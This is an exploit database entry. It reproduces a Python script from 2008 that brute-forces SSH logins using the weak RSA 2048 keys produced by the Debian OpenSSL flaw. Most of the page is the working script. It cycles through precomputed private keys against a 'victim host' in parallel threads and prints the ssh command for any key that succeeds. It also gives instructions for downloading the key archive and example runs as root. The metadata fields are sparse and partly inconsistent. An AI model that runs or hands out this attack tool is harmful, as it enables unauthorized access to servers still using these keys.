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Suggest Exploit
vendor:
N/A
by:
hitz - WarCat team
7.5
CVSS
HIGH
Authentication Bypass
287 (Authentication Issues)
CWE
Product Name: N/A
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Linux
2020

Exploit SSH RSA 2048

This exploit is used to bypass authentication of SSH RSA 2048. It uses a python script to connect to the SSH server and try to authenticate with different keys. If the key is found, the script shows the key and the command to connect to the server.

Mitigation:

Ensure that the SSH server is configured to use strong authentication methods and that the keys are not publicly available.
Source

Exploit-DB raw data:

#!/bin/python
#       This program is free software; you can redistribute it and/or modify
#       it under the terms of the GNU General Public License as published by
#       the Free Software Foundation; either version 2 of the License, or
#       (at your option) any later version.
#
#       This program is distributed in the hope that it will be useful,
#       but WITHOUT ANY WARRANTY; without even the implied warranty of
#       MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#       GNU General Public License for more details.
#
#       You should have received a copy of the GNU General Public License
#       along with this program; if not, write to the Free Software
#       Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
#       MA 02110-1301, USA.
############################################################################
# Autor: hitz - WarCat team (warcat.no-ip.org)
# Collaborator: pretoriano
#
# 1. Download https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2 (debian_ssh_rsa_2048_x86.tar.bz2)
#
# 2. Extract it to a directory
#
# 3. Execute the python script
#     - something like: python exploit.py /home/hitz/keys 192.168.1.240 root 22 5
#     - execute: python exploit.py (without parameters) to display the help
#     - if the key is found, the script shows something like that:
#         Key Found in file: ba7a6b3be3dac7dcd359w20b4afd5143-1121
#		  Execute: ssh -lroot -p22 -i /home/hitz/keys/ba7a6b3be3dac7dcd359w20b4afd5143-1121 192.168.1.240
############################################################################


import Queue
import os
import string
import time
from threading import Thread
import sys

#This class only has a boolean, which will be True if some thread find the key
class End():
	def __init__(self):
		self.end = False
		
	def Finish(self):
		self.end = True
	
	def GetEnd(self):
		return self.end	
		

#This is the thread class
class Connection(Thread):
	def __init__(self,QueueDir,TheEnd,dir,host,user,port='22'):
		Thread.__init__(self)
		self.QueueDir = QueueDir
		self.TheEnd = TheEnd
		self.dir = dir
		self.host = host
		self.user = user
		self.port = port
			
	def run(self):
		while (not self.TheEnd.GetEnd()) and (not self.QueueDir.empty()):
			key = self.QueueDir.get()
			
			cmd = 'ssh -l ' + self.user 
			cmd = cmd + ' -p ' + self.port 
			cmd = cmd + ' -o PasswordAuthentication=no'
			cmd = cmd + ' -i ' + self.dir + '/' + key 
			cmd = cmd + ' ' + self.host + ' exit; echo $?'
			
			pin,pout,perr = os.popen3(cmd, 'r')
			pin.close()
			
			#To debug descoment the next line. This will show the errors reported by ssh
			#print perr.read()
			
			if pout.read().lstrip().rstrip() == '0':
				self.TheEnd.Finish()
				print ''
				print 'Key Found in file: '+ key
				print 'Execute: ssh -l%s -p%s -i %s/%s %s' %(self.user,self.port,self.dir,key,self.host) 
				print ''
		
print '\n-OpenSSL Debian exploit- by ||WarCat team|| warcat.no-ip.org' 

if len(sys.argv) < 4:
	print './exploit.py <dir> <host> <user> [[port] [threads]]'
	print '    <dir>: Path to SSH privatekeys (ex. /home/john/keys) without final slash'
	print '    <host>: The victim host'
	print '    <user>: The user of the victim host'	
	print '    [port]: The SSH port of the victim host (default 22)'
	print '    [threads]: Number of threads (default 4) Too big numer is bad'
	
	sys.exit(1)
	
dir = sys.argv[1]
host = sys.argv[2]
user = sys.argv[3]

if len(sys.argv) <= 4: 
	  port='22'
	  threads=4
else:
	if len(sys.argv) <=5:
		port=sys.argv[4]
		threads = 4

	else:
		port=sys.argv[4]	
		threads = sys.argv[5]

ListDir = os.listdir(dir)
QueueDir=Queue.Queue()
TheEnd = End()

for i in range(len(ListDir)):
	if ListDir[i].find('.pub') == -1:	
		QueueDir.put(ListDir[i])

initsize = QueueDir.qsize()
tested = 0

for i in range(0,int(threads)):
	Connection(QueueDir,TheEnd,dir,host,user,port).start()


while (not TheEnd.GetEnd()) and (not QueueDir.empty()):
	time.sleep(5)
	actsize = QueueDir.qsize()
	speed = (initsize - tested - actsize)/5
	tested = initsize - actsize
	
	print 'Tested %i keys | Remaining %i keys | Aprox. Speed %i/sec' %(tested,actsize,speed) 

# milw0rm.com [2008-06-01]